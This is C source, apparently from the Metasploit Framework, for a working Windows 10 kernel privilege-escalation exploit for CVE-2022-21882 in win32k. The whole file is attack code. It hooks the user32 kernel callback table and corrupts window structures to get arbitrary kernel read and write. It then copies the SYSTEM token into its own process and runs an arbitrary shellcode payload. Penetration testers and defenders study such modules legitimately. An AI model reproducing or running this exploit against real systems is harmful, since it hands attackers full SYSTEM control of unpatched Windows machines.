rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2022-21882/exploit.c

Summary

Maintainability
Test Coverage
#include <windows.h>
#include <time.h>

#include "common.h"
#include "definitions.h"
#include "exploit.h"

#define ConsoleAcquireDisplayOwnership 6
#define BYPASS_BUILD 19042
typedef NTSTATUS(NTAPI* fxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize);
typedef NTSTATUS(NTAPI* fxxxClientFreeWindowClassExtraBytes)(PVOID pAddress);
typedef DWORD64 QWORD;

fHMValidateHandle HMValidateHandle = NULL;
fNtCallbackReturn NtCallbackReturn = NULL;
fNtUserMessageCall NtUserMessageCall = NULL;
fNtUserConsoleControl NtUserConsoleControl = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;
fxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL;
fxxxClientFreeWindowClassExtraBytes g_xxxClientFreeWindowClassExtraBytes = NULL;


/* min, max, magic, ... */
HWND g_hWnd[50] = { 0 };
tagWND* g_pWnd[50] = { 0 };
tagMENU* g_pFakeMenu = 0;

DWORD g_dwBuild = 0;
DWORD g_dwRandom = 0;
ULONG_PTR* g_pUser32CallbackTable = NULL;
QWORD g_extra_to_wnd1_offset = 0;
PVOID g_pMinBaseAddress = 0;
SIZE_T g_uRegionSize = 0;


const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;


ULONG_PTR GetPEB(void) {
    return (ULONG_PTR)__readgsqword(0x60);
}


ULONG_PTR* GetUser32CallbackTable() {
    return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58);
}


HWND GuessHwnd(PVOID pBaseAddress, SIZE_T uRegionSize) {
    tagWND* pWnd;

    for (PBYTE pCursor = (PBYTE)pBaseAddress; (ULONG_PTR)pCursor + sizeof(tagWND) < (ULONG_PTR)pBaseAddress + uRegionSize; pCursor += 2) {
        pWnd = (tagWND*)pCursor;

        if (pWnd->dwStyle != WS_DISABLED)
            continue;
        if (pWnd->dwExStyle != WS_EX_NOACTIVATE)
            continue;
        if (pWnd->cbWndExtra != g_dwRandom)
            continue;
        return (HWND)pWnd->hWnd;
    }
    return NULL;
}


NTSTATUS Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) {
    if ((*(PDWORD)pSize & 0xffffffff) == g_dwRandom) {
        HWND hwndMagic = g_hWnd[2];
        if (hwndMagic == NULL) {
            hwndMagic = GuessHwnd(g_pMinBaseAddress, g_uRegionSize);
            dprintf("hMagicWnd: 0x%016x (guessed)", hwndMagic);
            g_hWnd[2] = hwndMagic;
            g_pWnd[2] = HMValidateHandle(hwndMagic, TYPE_WINDOW);
        }
        if (hwndMagic) {
            // this checks if exploitation is going to proceed or not, if not *don't* corrupt the window because that could trigger a BSOD
            if ((g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) && (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap)) {
                dprintf("Set magicWND->dwExtraFlag |= 0x800");
                ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)hwndMagic, 0 };
                NTSTATUS ret = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

                // Set magicWND->pExtraBytes to fake offset
                dprintf("Return faked pExtraBytes: %llx", g_pWnd[0]->OffsetToDesktopHeap);
                ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap, 0, 0 };
                return NtCallbackReturn(&Result, sizeof(Result), 0);
            }
        }
    }
    return g_xxxClientAllocWindowClassExtraBytes(pSize);
}


NTSTATUS Hook_xxxClientFreeWindowClassExtraBytes(tagWND **ppWnd) {
    tagWND* pWnd = *ppWnd;

    // block the free operation on this window for stability
    if (pWnd->hWnd == g_hWnd[2]) {
        return 1;
    }
    return g_xxxClientFreeWindowClassExtraBytes(ppWnd);
}


BOOL SwapHooks(ULONG_PTR fAllocHook, ULONG_PTR fFreeHook) {
    DWORD dwOldProtect;
    ULONG_PTR* ptrAddr = NULL;
    
    VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, PAGE_READWRITE, &dwOldProtect);

    ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */
    g_xxxClientAllocWindowClassExtraBytes = *(fxxxClientAllocWindowClassExtraBytes*)ptrAddr;
    *(ULONG_PTR*)ptrAddr = fAllocHook;

    ptrAddr = &g_pUser32CallbackTable[0x7c]; /* 0x7c is the index of xxxClientFreeWindowClassExtraBytes */
    g_xxxClientFreeWindowClassExtraBytes = *(fxxxClientFreeWindowClassExtraBytes*)ptrAddr;
    *(ULONG_PTR*)ptrAddr = fFreeHook;

    VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, dwOldProtect, &dwOldProtect);
    return TRUE;
}
#define InstallHooks() SwapHooks((ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)Hook_xxxClientFreeWindowClassExtraBytes)
#define UninstallHooks() SwapHooks((ULONG_PTR)g_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)g_xxxClientFreeWindowClassExtraBytes);


QWORD KernelRead(ULONG_PTR DestAddr) {
    const ULONG_PTR KernelAddressMask = 0xffff800000000000;
    if ((DestAddr & KernelAddressMask) != KernelAddressMask) {
        dprintf("Invalid address: %llx", DestAddr);
        // if the address doesn't look like a kernel mode address then don't read from it
        return 0;
    }

    MENUBARINFO mbi;
    memset(&mbi, 0, sizeof(MENUBARINFO));
    mbi.cbSize = sizeof(MENUBARINFO);

    RECT Rect = { 0 };
    GetWindowRect(g_hWnd[1], &Rect);

    *(PULONG64)g_pFakeMenu->rgItems = DestAddr - 0x40;
    GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi);
    DWORD val[2] = { 0 };
    val[0] = mbi.rcBar.left - Rect.left;
    val[1] = mbi.rcBar.top - Rect.top;
    return *(QWORD*)val;
}


ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) {
    ULONG_PTR uOriginal = SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), DestAddr);
    ULONG_PTR uValue = (ULONG_PTR)SetWindowLongPtrA(g_hWnd[1], 0, Data);
    SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), uOriginal);
    return uValue;
}


BOOL ResolveRequirements(void) {
    HMODULE hNtdll = LoadLibrary("ntdll");
    HMODULE hUser32 = LoadLibrary("user32");
    HMODULE hWin32u = LoadLibrary("win32u");
    PBYTE pIsMenu = NULL;
    DWORD dwCursor = 0;

    if ((!hNtdll) || (!hUser32) || (!hWin32u)) {
        return FALSE;
    }

    /* find all of the functions we need */
    if (!(NtCallbackReturn = (fNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn"))) {
        return FALSE;
    }

    if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
        return FALSE;
    }

    if (!(NtUserConsoleControl = (fNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl"))) {
        return FALSE;
    }

    if (!(NtUserMessageCall = (fNtUserMessageCall)GetProcAddress(hWin32u, "NtUserMessageCall"))) {
        return FALSE;
    }

    if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) {
        return FALSE;
    }

    while (*(pIsMenu + dwCursor) != 0xe8) {
        if (dwCursor++ > 0x20) {
            return FALSE;
        }
    }

    HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5);

    /* find the kernel callback table in user32 */
    if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) {
        return FALSE;
    }

    /* get the version to determine the necessary eprocess offsets */
    DWORD dwMajor, dwMinor, dwBuild;
    RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
    g_dwBuild = dwBuild = LOWORD(dwBuild);
    dprintf("Windows Version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
    if (!((dwMajor == 10) && (dwMinor == 0))) {
        return FALSE;
    }
    if (dwBuild < 17134) {
        return FALSE;
    }
    /* v1803 - v1809 */
    else if (dwBuild < 18362) {
        g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
    }
    /* v1903 - v1909 */
    else if (dwBuild < 19041) {
        g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
    }
    else if (dwBuild == 19041) {
        g_pEprocessOffsets = &EprocessOffsetsWin10v20H1;
    }
    else if (dwBuild == 19042) {
        g_pEprocessOffsets = &EprocessOffsetsWin10v20H2;
    }
    else if (dwBuild == 19043) {
        g_pEprocessOffsets = &EprocessOffsetsWin10v21H1;
    }
    else if (dwBuild == 19044) {
        g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
    }
    else {
        return FALSE;
    }

    return TRUE;
}


void UpgradeToken(QWORD qwEprocess) {
    QWORD qwEprocessBak = qwEprocess;
    DWORD dwPidSelf = GetCurrentProcessId();
    QWORD dwSystemToken = 0;
    QWORD dwMyToken = 0;
    QWORD qwMyTokenAddr = 0;

    while (!dwSystemToken || !qwMyTokenAddr) {
        DWORD dwPidRead = KernelRead(qwEprocess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
        if (dwPidRead == 4)
            dwSystemToken = KernelRead(qwEprocess + g_pEprocessOffsets->Token);
        if (dwPidRead == dwPidSelf)
            qwMyTokenAddr = qwEprocess + g_pEprocessOffsets->Token;
        qwEprocess = KernelRead(qwEprocess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;

        if (qwEprocessBak == qwEprocess)
            break;
    }

    KernelWrite(qwMyTokenAddr, dwSystemToken);
}


void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
    if (!pMsfPayload)
        return;
    PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!pPayload)
        return;
    CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
    CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}


DWORD Exploit(PVOID pPayload) {
    dprintf("Starting exploit...");

    if (!ResolveRequirements()) {
        dprintf("Failed to resolve requirements");
        return 0;
    }

    srand(time(0) & 0xffffffff);
    g_dwRandom = (rand() % 255 + 0x1234) | 1;
    dprintf("dwRandom: 0x%08x", g_dwRandom);

    WNDCLASSEX wndClass;
    memset(&wndClass, 0, sizeof(WNDCLASSEX));

    wndClass.cbSize = sizeof(WNDCLASSEX);
    wndClass.lpfnWndProc = DefWindowProc;
    wndClass.style = CS_VREDRAW | CS_HREDRAW;
    wndClass.cbWndExtra = 0x20;
    wndClass.hInstance = NULL;
    wndClass.lpszMenuName = NULL;
    wndClass.lpszClassName = "NormalClass";
    RegisterClassEx(&wndClass);

    wndClass.cbWndExtra = g_dwRandom;
    wndClass.lpszClassName = "MagicClass";
    RegisterClassEx(&wndClass);

    QWORD extra_to_wnd1_offset = 0;
    QWORD extra_to_wnd2_offset = 0;
    ULONG64 ConsoleCtrlInfo[2];

    // Create a fake spmenu
    g_pFakeMenu = (tagMENU*)LocalAlloc(LMEM_ZEROINIT, 0x2c8);
    if (!g_pFakeMenu)
        return 0;
    g_pFakeMenu->ref = (PVOID)((ULONG_PTR)g_pFakeMenu + 0xa0);
    *g_pFakeMenu->ref = g_pFakeMenu;
    // cItems = 1
    g_pFakeMenu->obj28 = (ULONG_PTR)g_pFakeMenu + 0xc0;
    *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2c) = 1;
    // rgItems
    g_pFakeMenu->rgItems = (ULONG_PTR)g_pFakeMenu + 0x2c0;
    // cx / cy must > 0
    g_pFakeMenu->cxMenu = 1;
    g_pFakeMenu->cyMenu = 1;

    if (g_dwBuild < BYPASS_BUILD) {
        InstallHooks();
    }
    for (int j = 0; j < 5; ++j) {
        g_pMinBaseAddress = NULL;

        for (int i = 0; i < 50; ++i) {
            g_hWnd[i] = CreateWindowEx(WS_EX_NOACTIVATE, "NormalClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
            g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], TYPE_WINDOW);

            MEMORY_BASIC_INFORMATION MemInfo;
            memset(&MemInfo, 0, sizeof(MemInfo));
            VirtualQuery((LPVOID)g_pWnd[i], &MemInfo, sizeof(MemInfo));
            if ((g_pMinBaseAddress == NULL) || ((ULONG_PTR)g_pMinBaseAddress >= (ULONG_PTR)MemInfo.BaseAddress)) {
                g_pMinBaseAddress = MemInfo.BaseAddress;
                g_uRegionSize = MemInfo.RegionSize;
            }
        }
        for (int i = 2; i < 50; ++i) {
            DestroyWindow(g_hWnd[i]);
            g_hWnd[i] = NULL;
        }

        // Set first window to use kernel desktop heap for extra bytes
        ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[0];
        ConsoleCtrlInfo[1] = 0;
        NTSTATUS status = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

        g_hWnd[2] = CreateWindowEx(WS_EX_NOACTIVATE, "MagicClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
        g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], TYPE_WINDOW);
        dprintf("hWnd[0]:   0x%08x 0x%p", g_hWnd[0], g_pWnd[0]);
        dprintf("hWnd[1]:   0x%08x 0x%p", g_hWnd[1], g_pWnd[1]);
        dprintf("hMagicWnd: 0x%08x 0x%p", g_hWnd[2], g_pWnd[2]);

        extra_to_wnd1_offset = 0;
        extra_to_wnd2_offset = 0;
        if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) {
            extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
        }
        if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) {
            extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
        }

        Sleep(250); // this small delay seems to improve reliability
        if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) {
            DestroyWindow(g_hWnd[0]);
            DestroyWindow(g_hWnd[1]);
            DestroyWindow(g_hWnd[2]);
            dprintf("Unexpected memory layout, %s %d/5", (j < 4) ? "retrying" : "exiting", j + 1);
            if (j == 4) {
                LocalFree(g_pFakeMenu);
                return 0;
            }
            continue;
        }
        dprintf("Offset of tagWND0->pExtraBytes and tagWND1 = %x", extra_to_wnd1_offset);
        dprintf("Offset of tagWND0->pExtraBytes and tagWND2 = %x", extra_to_wnd2_offset);
        break;
    }
    g_extra_to_wnd1_offset = extra_to_wnd1_offset;
    
    if (g_dwBuild < BYPASS_BUILD) {
        SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra), 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
    } else {
        InstallHooks();
        // Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks
        NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0);

        // Now magic window's pExtraBytes points to tagWND0
        SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
    }

    // Set WS_CHILD to set spmenu with GWLP_ID
    DWORD style = g_pWnd[1]->dwStyle;
    SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); // Use OOB to set g_pWnd[1]->dwStyle |= WS_CHILD

    ULONG_PTR pMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address

    // Remove WS_CHILD to use GetMenuBarInfo
    SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);

    dprintf("pWnd[1]->spmenu = %llx", pMenu);
    if (pMenu) {
        // Token stealing
        ULONG_PTR ptr = KernelRead(pMenu + offsetof(tagMENU, spwndNotify)); // pmenu->spwndNotify (tagWND)
        ptr = KernelRead(ptr + 0x10);                                       // pwnd->pti (THREADINFO)
        ptr = KernelRead(ptr + 0x1a0);                                      // pti->ppi (PROCESSINFO)
        ptr = KernelRead(ptr);                                              // ppi.W32PROCESS.peProcess
        dprintf("Current EPROCESS = %llx", ptr);
        if (ptr) {
            // there is a small possibility that the exploit process up until now has failed and that EProcess is zero
            UpgradeToken(ptr);
            ExecutePayload(pPayload);
            dprintf("The payload has been executed");
        }
    }

    // Fix corrupted tagWND
    PVOID pExtraBytes = LocalAlloc(LMEM_ZEROINIT, g_dwRandom);
    SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes)), (ULONG_PTR)pExtraBytes);
    SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag)), g_pWnd[2]->dwExtraFlag & ~0x800);

    style = g_pWnd[1]->dwStyle;
    SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD);
    SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)pMenu); // tagWND1->spmenu = pmenu
    SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);

    DestroyWindow(g_hWnd[2]);
    DestroyWindow(g_hWnd[1]);
    DestroyWindow(g_hWnd[0]);
    UninstallHooks();

    LocalFree(g_pFakeMenu);
    return 0;
}